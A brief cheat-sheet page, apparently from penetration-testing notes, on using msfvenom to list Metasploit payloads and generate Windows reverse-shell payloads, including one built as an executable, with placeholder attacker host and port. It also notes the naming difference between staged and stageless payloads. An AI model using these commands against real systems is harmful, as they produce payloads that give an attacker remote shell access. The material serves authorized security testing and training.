Msfvenom

Msfvenom is the combination of payload generation and encoding. How to use msfvenom · rapid7/metasploit-framework Wiki · GitHub

Show available payloads

msfvenom -l payloads

Generate shell examples

msfvenom -p windows/shell_reverse_tcp LHOST=<ip> LPORT=<port>
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f exe > shell.exe

Stageless vs. staged payloads

Stageless

shell_reverse_tcp

Staged

shell/reverse_tcp

Last updated